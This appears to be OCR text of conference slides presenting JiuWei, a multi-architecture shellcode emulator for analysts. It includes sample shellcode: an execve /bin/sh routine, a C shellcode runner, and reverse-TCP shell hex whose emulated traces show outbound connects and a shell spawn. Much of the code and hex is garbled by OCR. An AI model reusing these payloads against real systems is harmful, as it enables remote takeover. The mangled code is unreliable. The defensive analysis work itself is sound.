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About NGUYEN Anh Quynh

> Nanyang Technological University, Singapore

> PhD in Computer Science

> Operating System, Virtual Machine, Binary analysis, etc
> Usenix, ACM, IEEE, LNCS, etc

> Blackhat USA/EU/Asia, DEFCON, Recon, HackinTheBox,
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> Capstone disassembler: http://capstone-engine.org

> Unicorn emulator: http://unicorn-engine.org

> Keystone assembler: http://keystone-engine.org
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All About Exploitation and Shellcoding
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JiuWel

Solutions

Why JiuWei
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Exploitation




Vulnerability Exploitation Flow

Memory
Corruption

Exploitation

Shellcode

Smash Input

Program Crash

Craft Payload

Control Execution Flow
Shellcode Execution
Full Control
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. 0x42424242
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Ox42424242 in 77

' <repeats 11 times>, "BBBB")
' <repeats 11 times>, "BBBB")
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->
->

> Oxlaedb0
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("/root/bof/nx")
("XDG_VTNR=2")




Shellcode




Traditional Shellcode vs Modern Shellcode

/*
; Insertion-Decoder.asm
Author: Daniele Votta

B e e e

= Linux/x86 execve /bin/sh shellcode 23 bytes =

Description: This program decode shellcode with insertion technique (@xAA).
Tested on: 1686 GNU/Linux

e ’
; Shellcode Length:5@
= Author: Hamza Megahed * ; JMP | CALL | POP | Technigues
sk aRsakhhahakkkkaaskkkahenkkrhasskh bk etk kb hane ki dhn
£ Twitter: @HBMZE Mega Ed Insertion-Decoder: file format elf32-i386

EEREEEER R R RSN R TR R R R R R R RR R R R R R Rk kR R R s e =
Disassembly of section .text:

= blog: hamza-mega[dot]blogspot[dot]com =
B e e e
080480808 <_start>:

*  E-mail: hamza[dot]megahed[at]gmail[dot]com = 8048080: eb 1d jmp 884809 <call decoder>
EEEEEEEREEEEE SRR TR E AR TR R R B R EE AR R TR R LR TR EE R

088848082 <decoder>:

8048082 : Se pop esi
SRl %EEX’%EEX 8048883 8d 7e 01 lea edi, [esi+Bx1]
pUSh Heax ’ More Com pIeX 8048086: 31 c@ xor eax,eax
push  $@xe8732f2f 8048088:  bO @1 mov  al,exl
push FExEehIG22T ) Harder to detect 804808a: 31 db xor ebx, ebx
mow Hesp, Xebx Sotson e
N N C <decode>:
push  Xeax > Designed to bypass detection e o o3 o b B st
push  Sebx . 804808f: 80 f3 aa xor  bl,Bxaa
mov Hesp,Xecx > Detectlon can be 8048092: 75 10 jne  8@480ad <EncodedShellcode>
mo F@xb,%al 8048094: 8a 5c 96 @1 mov  bl,BYTE PTR [esi+eax*1+8x1]
int $Ax50 > Network 2048998: 88 1f mov  BYTE PTR [edi],bl
§04809a: 47 inc edi
804809b: 04 02 add  al,®x2
B T L e s ) System/OS Ievel onsend. o o — BEEe ccorodes
#include <stdio.h>
#include <string.h> 9804809F <call_decoder>:
804809f: o8 de ff ff Ff call 8048082 <decoder>
char *shellcode = "' 31\xc@ \x50'\x68 2T\ 2T\ 73\ w68\ x68 \ 2\ x62 \ x69" A < Eeoedhe e
o o a ncode ellcode>:
"\KEE'\X891\!&3'\.)(59"'.){53\KSQ‘.XE]RKbE\X@b\XCd\XSE 3 80480a4: 31 aa c@ aa 50 aa xor DWORD PTR [edx-@x55af554@],ebp
80480aa: 68 aa 2f aa 2f push ©x2faa2faa
int main(woid) 80480af: aa stos  BYTE PTR es:[edi],al
{ 384380b@: 73 aa jae 884885c <_start-0x24>
fprintf(stdout,"Length: %d\n",strlen{shellcode)}; dRuERS SR @ am A R _
{*(Uﬂid{*}{}) ShEllCDdE}{:I; 80488b7: aa stos BYTE PIR es:[edi],al
50480b8: 62 aa 69 aa 6e aa bound ebp,QWORD PTR [edx-@x55915597]
return 2; 80480be: 89 aa e3 aa 50 aa mov  DWORD PTR [edx-@x55af551d],ebp
} 80480c4d: 89 aa 2 aa 53 aa mov DWORD PTR [edx-@x55ac55le],ebp
80480ca: 89 aa el aa b@ aa mov DWORD PTR [edx-@x554f551f],ebp
go480de: @b aa cd aa 80 aa or ebp,DWORD PTR [edx-@x557f5533]
80480d6:  bh .byte @xbb

80480d7: bb .byte @xbb



Why Modern Shellcode

IPS/IDS 1%t Level Firewall

5
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_.imm b d

i IPS/IPS or maybe a smarter idea now

. =
2" Level Firewall SSe====

Log Analysis

Log Analysis or SIEM

URL Filtering ‘w

Bandwidth Management
& Prioritization

Content Filtering or Busy Body Second Layer IPS

Antivirus, Anti Malware, Anti APT and Anti PC

G

Antivirus @._._._._._._._._._.'_-.'_"..':‘._'_:._-:q b ) Q ' v
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Antivirus ‘ 0= '
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Why Shellcode Analysis




Hunting Shellcode

< < <
Locate Shellcode Extract Shellcode Reading Shellcode

» Network Traffic » ldentify Shellcode > Break Shellcode

> Email Traffic » Extract Shellcode from Mess > Read and Analyze Shellcode
> Daily Received File

Who Needs To Analyze Shellcode Why Needs To Analyze Shellcode

IT Security Department » Detecting shellcode is easier compare to 0 day
Security Appliance Vendor » Post exploitation behavior

Anti Malware Vendor » How to go deeper
»

»
»
»
» Government Official How to bypass current security measurement



Where to Start




Disassembler

¥ IDA - C:\Users\DC\Desktophtstlireleasel exe B
File Edit Jump Search View Debugger Options Windows Help
» @ O windog debugger Clld IR D 2 5 300m o3 o3
A m-c— -
(A= repeats 11 times>, "BBBB") Library function  Data [l Regular function [ Unexplored [l Instruction = External symbal
('A' < r‘@peats 11 ti s>, "BBBB") Debug View B | Structures B | = Enums B8 |
) g’ideﬁgg [F] 10 view-£1P O & X | Bk General registers o8 x
0x41414141 ( AAAI; (;Q( | v ¥ i ENX B02BEE28 % debuc = [0F 8 |
Ox0 "= | > E‘E_‘.] i
2> OoX ———
0x42424242 ('BBBB') 80802607 oc_8D2A07: )] Whossevwza @ 4
0x10286 ( 888D2AD7 mov edi, [esp+2FCh+var_2D4] Name =
088D2ADE xor ecx, eCx B usez2_FillRect [
88802ADD mou edx, eax B 1iser3? FineWindowa Z
068D2ADF test  edi, edi P —T— v
0B8D2AE1 jle shlorlt loc_8D2B08 nAT i
[ (@] Threads o& x
("/root/bof/nx") [@ == ! ;
" - u Decimal Hex State il
("XDG VTNR=2") [sesD2nES jnp short loc_8p2aFe| M2 OB Ready K
1 @m0 pac Reachy i
100.00% (3269,8808) (542,138) 00001E64 00BDZR64: sub_BD2510+554 < M I |
(@] Hex view-1 O & x [0 stackview Oo& x
-> Oxlaedb® 8B G4 24 14 6A 0B 6A 0O (. |[@BZBEDDA
--> 0x0 00801018 44 24 28 52 8B 54 24 20 50 8B 44 24 I ||(002BEDDS  F2611143 |
00000400 008D1000: sub 8D1000 - ||UEWOWN 002BEDDA: debug023:00ZBEDDS |
value < m ] v PN e D
Stopped reason: B sumit 295
Px42424242 in 77 () PDBSRC: loading symbols for *C:\Windows\System32\mshtml.dll® ... -
AU: idle Down. Disk: 19GB

IDA, GBD, WInDBG and the List Goes On




Dynamic Analysis




Full ARCH Emulator

AARCHG4




Full OS Emulator

ER Windows

Windows Server and Windows Workstation




Expectation




Shellcode Analysis Is Not Easy

s Current Method —

- %

eSS
@@@@ Automated check if this is a shellcode
: Automated shellcode execution

Automated generate disassembler and
@@@ execution report
\_

AFTER obtain suspicious shellcode
Manually check if this is a shellcode
Manually study the shellcode
Manually prepare verdict

v v v v

A New HOPE —

AFTER obtain suspicious shellcode

v v v v




What is Required




CPU Emulator

é w || Parallels
Optimized Computing”

f Xen

1960s - IBM released 2001 - IBM launched a Many more vendors

hypervisors on CP-40 hypervisor for and enhanced
and CP-67 operating vim midrange UNIX systems 2003 - Public release of virtualization solutions
systems [2] ware [2] Xen [6) are released.

° o e o o o o S
1999 - VMware 2001 - VMware 2004 - Microsoft E m u I ate

introduced released ESX Server 1.0 releases Virtual Server
‘ S virtualization to the x86 [5] .. 2005 [7]

och '
whink mside the bochs. platform with VMware .D
Workstation 1.0 [3][4] . " ®
Microsoft intel) 1

System Emulator = CPU Emulator




User Mode Emulation

v v v v

v v v v

gemu-usermode

Agan Hiloman
W

Over Emulate

Limited OS Support, Very Limited
No Multi OS Support

No Instrumentation

[ |
WINE Microsoft

Limited ARCH Support

Limited OS Support, only Windows
Not Sandbox Designed

No Instrumentation

v VvV v v

v Vv v v

usercorn

Very good project !

Mostly *nix based only

Limited OS Support (No Windows)
Go and Lua is not hacker’s friendly

WSL/2

Limited ARCH Support

Only Linux and run in Windows
Not Sandboxed, It linked to /mnt/c
No Instrumentation (maybe)

v Vv v v

Binee

Very good project too

Only X86 (32 and 64)

Limited OS Support (No *NIX)
Again, is GO



To Make A Good “Hackable Emulator”

You Need to Be a ASSEMBLER
Each Good for Different ARCH
A S S E M B I— E R Each Good for Different Platform
Only Able to Use in Limited Platform
Too Complicated to Pick One Tutorial "'

Too Debugger Oriented

Steep Leaving Curve

Limited Option have with Assembler and Debugger

# Hopper Disassembler _File Edit Modify Navigate Debug Scripts Window _Help
SiiderChanger.dylib.hop

OHed W M A DS @ 100G Monllldpm Q IS

Normally only a Helping Script / IDAPython

:

Too Complicated To Choose From

Limited Function Each Good for Different ARCH

00000660 04c02DES o 212, [sp, #OxEEEEESEC)L

00000074 OCFOIFET ldr pe, [pe, ri2) i .

e T i Each Good for Different Platform

st s T (LT

= Only Able to Use in Limited Platform

00000e3a 0000, move r0, r0
I

FEretaad

Steep Leaving Curve

zzzzrEZ

LE




JiuWel




What Is JiuWel

CROSS Platform

sSoooooTTosooEeTE
SHESHEHESHSIDEEE D

Multi ARCH

Written in Python

Support Multiple File Input

Uil

Support Various Output

Cross Platform Multi Architecture
Support Different OSes Support Architecture
Linux Shellcode X86_32, X86_64
Windows Shellcode MIPSel
BSD Shellcode ARM

OSX Shellcode AARCHG64



Based On The Industrial Standard RE Framework

Capstone Engine

>
>
>
>

Dr Quynh
Disassembler
Industry Standard
Strip from LLVM

Unicorn Engine

b4
b4
b4
b4

Dr Quynh

CPU Emulator
Industry Standard
Strip From QEMU

Keystone Engine

»
»
»
»

Dr Quynh
Assembler
Industry Standard
Strip from LLVM



Building Blocks

@, python’

= T =T == =
T s oo o o oo
SELOSSHLOSOSSOSOSSSS

RE Frame Work Emulate Syscall and API Proven Hackers Language



How It Works




Support Various Input Format

asm
Linux/OSX/Windows
binary
hex as argv _} | \ | || \
hex as file .
_ arm/x86/mips
pre-processing
Input Method Pre-Processing
» Able to take in different format » Check Input Data
» asm » Input Conversion
» binary » “compile” if input file is a asm
» Direct hex input » Check invalid hex char if input is hex
*» hexasfile



Support Various Input Format — In Action

hex/blnary (10)$ cat samples/lin32_execve.asm
(20:16:28) : xwings@bespin: Xor eax,eax
(29)S cat samples/lin64_execve.hex push eax
\%31\xcO\ x48\xbb\ xd1\x2d\ x96\ x91\xdO\x8c\x 97\ xF T\ x48\xF7\xdb\x53\x54\x5F\ x99\ x52\x57\ x54\ x5e\ xbo\ x3b\x0f\x04 push @x68732f2f
(30)$ python ./box.py --1in64 --debug --hex -f samples/lin64_execve.hex push 0x6e69622F
xchg ebx,esp
mov al,®xb
int ©x80
Emulate Linux X86_64 Code, MODE: debug (20:18:43) : xwings@bespin:
(11)S$ python ./box.py --1in32 --debug --asm -f samples/lin32_execve.
=>> Initiate Keystone Engine

>>> Load HEX from samples/lin64 execve.hex

Tracing basic block at 0x1000000, block size = 0x1b

PC= 0x1000000, SIZE= 0x2 : 31 cO xor eax, eax i
0x10080002, SIZE= Oxa : 48 bb d1 9d 96 91 de 8c 97 ff  movabs rbx, Oxff978cde91969dd1 Emulate Linux X86_32 Code, MODE: debug
0x100000c, SIZE= Ox3 : f7 db neg rbx === == ==
0x100000f, SIZE= Ox1 : push rbx

Ox1000016, SIZE= Ox1 : VL rsp

Tracing basic block at @x1000000, block size = 8x13
PC= 0x1000000, SIZE= 0x2 : 31 cO

20:44:04) : xwi bespin: i
( ):xwingsgbespin direct (13:37:45) : xwings@dagobah:

(95)S python ./box.py --linmips --debug --hex -i - )
xFF\XBC\ x24\X27\x20\ X80\ 01\ xa6\xOF\x02\x24\x0c\X09\xB9\x01\XTA\X 2 (28)$ cat samples/linux x86 shell reverse tcp.bin

IO\ XFF\xF I\ x44\x30\xc9\ xOF\ x02\ x24\ xOc\ x09\ x09\x01\xc9\xOF\xB82\x24\ xOc\x09\x09\ x01\ x79} ] . _ . .
X001\ xb1\x05\x3c\xcO\xa8\xa5\x34\xfe\xFf\xa5\xaf\xf8\xFf\xa5\x23\xef\xff\x0c\x24\x27\x30\ x8 16665CS ) [§ 666 [ heh( 166 TXPOWeGCHLY[Nt=heX] j 661066y 06" Go[Ro0G

FAx08\x35\xec\xff\xaB\xaf\x73\x68\x08\ x3c\x6e\x2F\x08\x35\xFfO\xff\xaB\xaf\xff\xff\x07\x28)\ .
X233\ x(F8\xFF\xaB8\xaf\xf8\xff\xa5\x23\xec\xFI\xbd\x27\xF I\ X\ x06\x28\xab\x0f\x02\ x24\ x0c\ x0 it

WO ERUBIRET 13:
>>> Load HEX from ARGV 7:48) : xwings@dagobah:

29)$ python ./box.py --1in32 --bin -f samples/linux x86 shell reverse tcp.bin
>>> Load BIN from samples/linux x86 shell reverse tcp.bin

Emulate Linux X86 32 Code, MODE:

Tracing basic block at 8x1000000, block size = @xc

PC= 0x1000000, SIZE= Ox4 : ff ff 04 28 slti  $a®, Szero, -1 -.>>> GDT set DS

PC= 0x1000004, SIZE= 0x4 : a6 0f 02 24 addiu $v0, Szero, Oxfaé6 . set thread area selector : Ox83
PC= 0x1000008, SIZE= Ox4 : Oc 09 09 01 syscall Ox42424 = -

syscall close

4 Different Input



Syscall and APl Emulator

e

Linux/OSX/Windows

plele

arm/x86/mips

Syscall Emulation

>
>
>
>

Emulate Linux, *BSD and OSX

Return or Emulate Syscall

Syscall support different architecture
Support conversion such as binary to ascii

Execution /w
Kernel emulation

APl Emulation

>
>
>
>

Emulate Windows Base System

Windows 10 with DLL — 64bit

Windows 7 with DLL — 32bit

Emulate as many function as possible, eg, network



Syscall and APl Emulator — In Action

(20:50:16) : xwings@bespin:
(180)5 python ./box.py --win64 --quiet --bin -f samples/win64 ob msg box x64.bin

TS e =>> Load BIN from samples/win64 ob msg box x64.bin

(97)s python ./box.py --linmips --quiet --hex -f samples/linmips3

>>> Load HEX from samples/linmips32_tcp_reverse_shell.hex

TEB addr is ©x333333335000
PEB addr is 0x333333335088
Loading os/dlls/winl® 64/ntdll.dll to 7ffff79e4000
syscall Done with leoading os/dlls/winl®_64/ntdll.dll
syscall Done with LDR os/dlls/winl® &64/ntdll.dll
syscall Loading os/dlls/win1® 64 /kernel32.dl1l to 7ffff7bc4600
syscall socket created Done with loading os/dlls/wini1@ 64/kernel32.dll
syscall dup Done with LDR os/dlls/wini1®_64/kernel3z.dll
syscall dup Loading os/dlls/winl® 64fuser32.dll to 7ffff7c75a00
syscall connect to 192.168.1.177:31337 Done with loading os/dlls/winl® 64 /user32.dll
syscall execve(//bin/sh) Done with LDR os/dlls/winl®_64fuser32.dll
@x555555554100: call MessageBoxA(Ox0, "Hello, from MSF!", "MessageBox", @x0)
Bx55555555410b: call FatalExit(exe)
Emulation done

*Nix Based Syscall and Windows Function Call




Support Various Output Format

Execution /w
Kernel emulation

Hackers style

» Complete Execution Dump
» Long and way too long
» Every detailed is being reported

dump

executive

Report for the Boss

» Short
» Only Human Readable Report
» Limited Report, not for analysis



Support Various Output Format — In Action

(13:42:16) : xwings@dagobah:
(32)$ cat samples/linux_x86_ shell_reverse_tcp.bin

]
~1666SCS R ToHE [ hewhEN 6] TXPQWeBCHHY I t=hoX] 661666y 0E DU RULE
7/]
eYeexe-L
y GEREXERGOERET 13:
42:19) : xwings@dagobah:

(33)$ python ./box.py --1in32 --debug --bin -f samples/linux x86 shell reverse tcp.bin
>>> Load BIN from samples/linux_x86_shell reverse tcp.bin
(20:52:37) :xwings@bespin:
(167)S python ./fbox.py --1in32 --quiet --asm -f samples/lin32 execve.asm
>>> Initiate Keystone Engine bEmulate Linux X86_32 Code, MODE: debug

-->>> GDT set DS
-->>> set thread area selector : 0x83
-->>> GDT set CS
-->>> set thread area selector : 0x8b
-->>> GDT set SS
-->>> set thread area selector : 0x90

Emulation done Tracing basic block at ©x1000080, block size = 0Ox12
>>> PC= 0x1000000, SIZE= 0x2 : 6a Oa push Oxa
>>> PC= 0x1000002, SIZE= Ox1 : 5e pop esi
>>> PC= 0x1000003, SIZE= 0x2 : 31 db xor ebx, ebx
>>> PC= 0x1000005, SIZE= 0x2 : f7 e3 mul ebx
>>> PC= 0x1000007, SIZE= Ox1 : 53 push ebx
>>> PC= 0x1000008, SIZE= 0x1 : 43 inc ebx
>>> PC= 0x1000009, SIZE= 0x1 : 53 push ebx
>>> PC= Ox100000a, SIZE= 0x2 : 6a 02 push 2
>>> PC= 0x100000c, SIZE= 0x2 : b@ 66 mov al, 0x66
>>> PC= 0x100000e, SIZE= O0x2 : 89 el mov ecx, esp
>>> PC= 0x1000010, SIZE= 0x2 : cd 80 int 0x80
>>> syscall socketcall(call = l args = Ox10ffff4)
.| - ->>> socket(domain = 2, type = 1, protocol = 0)
>>> retrun value = 3

Executive Summary and Hackers Dump
I SSSSRRRRERERRRRRREEEEEEEHEHIHIISHHHHHHEHHHHEHHHSHH=IISSSSSBBGBE.



How Does JiuWel Helps




Analyze Shellcode At Large Scale

. _ Linux/OSX/Windows
binary

pre-processing

dump

executive

arm/x86/mips Execution /w
Kernel emulation

Automated and Highly Performance and Scalable Platform




How Deep Did We Dig




CPU Emulator

setup_gdt_segment(uc, GDT_ADDR, GDT_LIMIT, seg_reg, index, SEGMENT_ADDR, SEGMENT_SIZE, init =

f init:

Write Into Memory uc.mem_map(GDT_ADDR, GDT_LIMIT)
uc.mem_map (SEGMENT_ADDR, SEGMENT_SIZE)
gdt_entry = create_gdt_entry(SEGMENT_ADDR, SEGMENT_SIZE, A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_3 |

uc.mem_write(GDT_ADDR + (index << 3), gdt_entry)

hook syscall(uc, intno, user data):
syscall_num = uc.reg_read(UC_ARM REG R7) uc.reg_write(UC_X86_REG_GDTR, (@, GDT_ADDR, GDT_LIMIT, 0x@))
argl = uc.reg read(UC_ARM REG RO)
arg2 = uc.reg read(UC_ARM REG R1)
arg3 = uc.reg read(UC_ARM REG R2) selector = create_selector(index, S_GDT | S_PRIV_3)
PC = uc.reg read(UC ARM REG PC)
if syscall num == 1: uc.reg_write(seg_reg, selector)
print(">>> Ox%x: interrupt 0x%x, syscall number DX %(PC, intno, syscall _num))
uc.emu_stop()
elif syscall num ==
buf = uc.mem_read(arg2, arg3)
print(">>> 0x%x: interrupt Ox%x, SYS WRITE.
%(PC, intno, arg2, arg3), end=
for i buf:
print(
print("")
except UcError as e:
print(">>> 0x%x: interrupt 0x%sx, SYS WRITE.
%(PC, intno, arg2, arg3))

' %i, end="") Write Into Register

Write Directly Into Register and Memory
D SEEEHEHHHHHHHHEEHHSSHH-L



*nix Emulator

mu.hook add(UC HOOK INTR, hook intr)

eax == 1
print( y
uc.emu stop()

eax == 3:
print(">>> syscall read(fd = ] f= , len = %(ebx, ecx, edx))
read_fd = ebx

read_buf = ecx

read len = edx

data = SYS FILE DESCRIPTOR[read fd].recv(read len)

ret = len(data)

uc.mem write(read buf, data)

uc.reg_write(UC_X86_REG_EAX, ret)

print(">>> ret alue = % ret)

Almost the same for OSX/Linux/*BSD

Handle Interript Ourself

eax == 4:

buf = uc.mem read(ecx, edx)
print(">>> all itre ffer = Ox ize = tent = "\
%(ecx, edx), end="")
i buf:
print( %i, end="")
print("")
UcError -H
print(">>> all ite ffer = size = tent = k >\n" \
%(ecx, edx))

Emulate Syscall

Print or Emulate Code

eax == 1I:
EXECVEPATH = read _string(uc, ebx)

print( > syscall execve % EXECVEPATH)
uc.emu_stop()

eax == 0x3f:

print(">>> S_DUP2 . % (ebx, ecx))

oldfd = ebx

newfd = ecx

SYS _FILE DESCRIPTOR[newfd] = SYS FILE DESCRIPTOR[oldfd]
uc.reg write(UC X86 REG EAX, ecx)

Prepare Execution Report

eax == 45:
print(": yscal
BRK_ADDRESS

% ebx)

Sample Code on How To Execute X86_ 32Bit Linux Shellcode
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Windows Emulator Ox1

setup_gdt_segment (uc, GDT_ADDR, GDT_LIMIT, seg_reg, index, SEGMENT ADDR, SEGMENT SIZE, init = :

f init:

uc.mem_map (GDT_ADDR, GDT_LIMIT) cessEnvironmentBlock “

ImageBaseAddre:

gdt_entry = create_gdt_entry(SEGMENT_ADDR, SEGMENT_SIZE, A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_3 | _
ProcessParameters
uc.mem_write(GDT_ADDR + (index << 3), gdt_entry) _
InLoadOrderModuleL ist

uc.reg_write(UC_X86_REG_GDTR, (@, GDT_ADDR, GDT_LIMIT, 0x0))

uc.mem_map (SEGMENT_ADDR, SEGMENT_SIZE)

InMemo uleList

selector = create_selector(index, S_GDT | S_PRIV_3)

IninitializationModuleList
uc.reg_write(seg_reg, selector)

Setup segment register fs/gs

set_gs_msr(uc, SEGMENT_ADDR, SEGMENT_SIZE):

x86_32 : Setup GDT/GDTR
uc.mem_map (SEGMENT_ADDR, SEGMENT_SIZE)

uc.msr_write(GSMSR, SEGMENT_ADDR)

x86_64 : Use wrmsr to setup gs
init_TEB_PEB(uc):
print(" EE " + hex(config64.GS_LAST_BASE))
TEB_SIZE = len(TEB(@).toby ))
teb_data = TEB(base = config64.GS5_LAST_BASE, PEB_Address = config64.GS_LAST_BASE + TEB_SIZE)
uc.mem_write(config64.GS_LAST_BASE, teb_data.tobytes())

config6d.GS_LAST_BASE += TEB_SIZE Setup TEB Structure

data = teb_data.tobytes()

print(">> PEB add " + hex(config64.GS_LAST_BASE))
PEB_SIZE = len(PEB( tobytes())
peb_data = PEB(base = config64.GS5_LAST_BASE, LdrAddress = configb4.GS_LAST_BASE + PEB_SIZE)

uc.mem_write(config64.GS_LAST_BASE, peb_data.tobytes()) Setup PEB Structure

config64.GS_LAST_BASE += PEB_SIZE

LDR_SIZE = len(LDR(@).tobytes())

ldr_data = LDR(base = config64.GS_LAST_BASE,
InLoadOrderModuleList {' r : config64.GS_LAST_BASE + 19, k' : configb4.GS_LAST_BASE + 10
InMemoryOrderModuleList = { ' : config64.GS_LAST_BASE + 0x20, 'Blink' : config64.GS_LAST_BASE +

InInitializationOrderModuleList = { ' : config64.GS_LAST_BASE 9, ': configha.GS_LAST_B. Setup PEB_LDR_DATA structure

uc.mem write{config64.G5 LAST BASE, ldr data.tobytes())




Windows Emulator 0x2

ldr_table = LDR_TABLE(LDR_base = configb64.GS_LAST_BASE,
InLoadOrderLinks = {' : config64.LDR_TABLE_LIST[-1].InLoadOrderLinks[ nk'l,
InMemoryOrderLinks = {'f k' : configb4.LDR_TABLE_LIST[-1].InMemoryOrderLinks [ nk'], 'E
InInitializationOrderLinks = {'F : configb4,LDR_TABLE_LIST[-1].InInitializationOrderLi
Dl1lBase = dll_base, InMemoryOrderModuleList

EntryPo int = @, InLoadOrderLinks InLoadOrderLinks
FullDllName = path, £ ionModuleList

InLoadOrderModuleList

BaseD11Name = fname,) InMemoryOrderLinks. InMemoryOrderLinks

configb4.LDR_TABLE_LIST[-1].InLoadOrderLinks['F1li ] = ldr_table.LDR_base OrderLinks
configb4.LDR.InLoadOrderModuleList ] = ldr_table.LDR_base

LDR_TABLE_LIST[-1].InMemoryOrderLinks [ ] = ldr_table.LDR _base + 10

LDR.InMemoryOrderModuleList['Bli ] = ldr_table.LDR_base + 0x10 fimage

config64.LDR_TABLE_LIST[-1].InInitializationOrderLinks['F ] = ldr_table.LDR_base + |nLoadOrderModu|eList BaseDIName

configb4.LDR.InInitializationOrderModuleList [ i ] = ldr_table.LDR_base + 20 _ _

uc.mem_write(config64.LDR.base, config64.LDR.tobytes())
uc.mem_write(config64.LDR_TABLE_LIST[-1].LDR_base, config64.LDR_TABLE_LIST[-1].tobytes())
uc.mem_write(ldr_table.LDR_base,

configb4.
configb4.

InMemoryOrderModuleList DiBss

IninitializationOrderList

ldr_table.tobytes())

Setup LDR_DATA_TABLE_ENTRY for Loaded Modules

address utils64.import_symbols:

globals()[" ' + utils64.import_symbols[address].decode()](uc, address, esp)
KeyError e:

print("

Setup Three Double Linked Lists

hook_LoadLibraryA(uc,
rip_saved = popb4(uc)

(lpLibFileNameAddr,) = tuple(parse_arg(uc, 1))

lpLibFileName = string_pack(uc.mem_read(lpLibFileNameAddr, 100))

rip, rsp):

Parse DLL & Get All Export Functions

print(’ BRI i r \ "%s\" % (rip_saved, lpLibFileName))

d11_base = dl1_loader(uc, lpLibFileName)

Hook Windows API

push64(uc, rip_saved)
uc.reg_write(UC_X86_REG_RAX, dll_base)

Sample Code on How To Execute X86_32/64bit Windows Shellcode
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X86 32/64 Series

QL_X86_F_GRANULARITY =
QL_X86_F_PROT_32 =

QL_X86_F_LONG = 6x2 X86 32/64bit GDT For Linux

QL_X86_F_AVATILABLE =

QL_X86_A_PRESENT =

QL_X86_A_PRIV_3
QL_X86_A_PRIV_2
QL_X86_A_PRIV_1
QL_X86_A_PRIV_@

QL_X86_A_CODE = @x10
QL_XB86_A_DATA = @x18
QL_X86_A_TSS = @x@

QL_X86_A_GATE
QL_X86_A_EXEC

e

8 X86 32bit GDT For Windows

QL_X86_A_DATA_WRITABLE
QL_X86_A_CODE_READABLE

S S £ .uc, gl.FS_SEGMENT ADDR, ql.FS_SEGMENT SIZE)
i P .uc, gql.GS_SEGMENT ADDR, ql.GS_SEGMENT SIZE)
QL_X86_S_LDT 4 .uc)

QL_X86_S_PRIV 3
QL_X86_S_PRIV 2
QL_X86_S_PRIV_1 _ segment_ss(ql, .uc)
QL_X86_S_PRIV @

segment cs.:_(ql, .uc)

QL_X86_GDT_ADDR = 0x3@00
QL_X86_GDT_LIMIT = ox1@ee
QL_X86_GDT_ENTRY_SIZE = 8x8

It took us sometime to fix the GDT and Set Threat Area



ARM/64 Series

ql_arm_init_kernel_get_tls(uc):
uc.mem_map(©xFFFFeeee, 1000)

sc = 'adr r@, data; ldr re,

ql_armé4_enable_vfp(uc):

ARM64FP = uc.reg_read(UC_ARM64 REG_CPACR_EL1)
ARM6&4FP |= 300000
uc.reg_write|(JUC_ARM64_REG_CPACR_EL1, ARMG4FP)

"\xee\xee" '

ARM and Thumb

Making Sure Loader is compatable

ARM MCR instruction for Set TLS

ARM Kernel Initialization

ARM and ARM64 Enable VFP




MIPS32EL Series

£ unicorn-engine / unicorn
MIPS Comes with CO Processor

<> Code Issues 262 Pull requests 32 Projects 0 Wiki

Some Config Sits in CO Processor
Removed hardcoded CPOC3_ULRI (#1098)

* activate CP@C3_ULRI for CONFIG3, mips

* updated with mips patches ! » 8 Unicorn Does Not Support Floating Point

3
[

* updated with mips patches

* remove hardcoded config3

Patch Unicorn to Support Co Processors

* git ignore vscode

* fix spacing issue and turn on floating point

Custom ASM for Set Thread Area

¥ master (#1098)

T I R R I N

”g xwings authored and aquynh committed on Jul 6 1

Showing 12 changed files with 45 additions and 10 deletions.




Work In Progress




OSX/FreeBSD

Still WIP, will be ready before Alpha Test







Demo Setup

XPS + VM + Ubuntu 64Bit



Linux AARCH 64

) ings@kamino:
{163}$ cat examplesfshellcodesfllnarmﬁd tcp reverse shell.hex
\xd2\x00\x02\xca\x21\x00\x80\xd2\ x40\ x00\x80\ xd2\xc8\x18\x80\xd 2\ x01\x00\ x4
02\ x02\x80\xd2\x68\x19\x80\xd 2\ x01\x00\ x00\ xdd\x41\ x00\ x80\xd2\ x4 2\ x00\x02
\ %00\ x00\xdA\ x 21\ x0A4\ x00\ xF 1\ x65\x 1 \xF\x54\ xed\x00\ x00\ x10\ x4 2\ x00\x02\ x(
00\ x00\ xd4\x02 \ x00\ x4\ xd 2\ x7\x00\x00\ x01\x2+\x62\x69\x6e \ 2+ \x73\x68\x00
(15d}$
(00:18:15 ings@kamino:
(164)% pythonE qltool py shellcode --arch armbd --os linux --hex - examplg
.hex
>>> Load HEX from FILE
socket(2, 1, 8) =
connect(127.96.08.1, 1234) = -
dup3
dup3
dup3
Execve{b /bin/sh’, [b"]}
' 8:18) :xwings@kamino:

AARCHG64 Reverse TCP Shellcode



Linux x86 32 input as ASM

:xwingsf@kamino:
(169}$ cat examples/shellcodes/11n32 execve.asm
XOr eax,eax
push eax
push Bx68732f2f
push Bx6e69622f
xchg ebx,esp
mov al,@xb
1nt GXSG
:xwingsf@kamino:

(1?@}$ python3 qltool py shellcode --arch x86 --os linux --asm --output debug -f examples/shellcodes/1in32 execve.
asm

Load ASM from FILE

SET_THREAD_AREA selector : ©x83

SET_THREAD_AREA selector : ©x8b

SET_THREAD AREA selector : ©x90

Tracing basic block at @x1000800
>>> Bx1000000 31 c@ xor eax, eax
|--->>> REGO= Ox@ REG1= Ox@ REG2= Ox® REG3= 0x0 REGA= Ox0 REG5= 0x0
>>> Bx1000082 50 push eax
|--->>> REGO= 0x0 REG1l= Ox0® REG2= Ox0O REG3= Ox0 REG4= Ox0 REGS5= 0x0
>>> @x1000003 68 2f 2f 73 68 push Ox68732f2f
|--->>> REGO= 0x0 REG1l= Ox0® REG2= Ox0O REG3= Ox0 REG4= Ox0 REGS5= 0x0
>>> Bx1000008 68 2f 62 69 6e push Bx6e69622f
|---3>> REGO= Ox@ REG1= Ox@ REG2= Ox® REG3= Ox0 REGA= Ox0 REG5= 0x0
>>> Bx100008d 87 e3 xchg ebx, esp
|--->>> REGO= 0x0 REG1l= Ox0® REG2= Ox0O REG3= Ox0 REG4= Ox0 REGS5= 0x0
>>> Bx100000+ be @b mov al, Oxb
|———>>> REGO= Ox10ffff4 REG1= 0x8® REG2= ©x® REG3= Ox0 REGA= 0x0 REG5= 0Ox©
>>> Bx1000011 cd 80 int Bx80
| --->>> REGO= Ox10ffff4 REGl= 0x0 REG2= 0x0 REG3= 0x0 REGA= Ox0 REG5= 0Ox0
execve(b /bln//sh [b"]
(80:208:07) :xwingsf@kamino:
a7s |

Debug and Quiet Mode with HEX, Binary and ASM Input
.,



